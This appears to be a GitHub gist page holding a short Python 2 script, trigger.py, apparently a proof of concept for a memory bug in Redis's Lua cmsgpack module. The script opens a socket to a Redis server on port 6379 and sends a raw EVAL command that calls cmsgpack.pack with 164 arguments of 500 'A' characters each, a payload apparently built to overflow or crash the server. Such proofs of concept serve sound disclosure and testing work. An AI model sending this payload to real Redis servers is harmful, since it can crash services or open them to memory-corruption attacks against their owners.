Skip to content

Instantly share code, notes, and snippets.

@antirez antirez/trigger.py Secret
Created May 9, 2018

Embed
What would you like to do?
import os
import socket
server = '127.0.0.1'
port = 6379
def send_to_redis(server, port, data, timeout=2):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
s.connect((server, port))
try:
s.send(data)
except socket.timeout:
print 'Unable to connect to target ; returning'
return None
s.close()
def main():
val = '"%s"' % ('A'*500)
script = "cmsgpack.pack("
for x in range(164):
script += "%s," % val
script = script[:-1]
script += ")"
payload = "*3\r\n$4\r\nEVAL\r\n$%s\r\n%s\r\n$1\r\n0\r\n" % (len(script),script)
send_to_redis(server, port, payload)
if __name__ == '__main__':
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.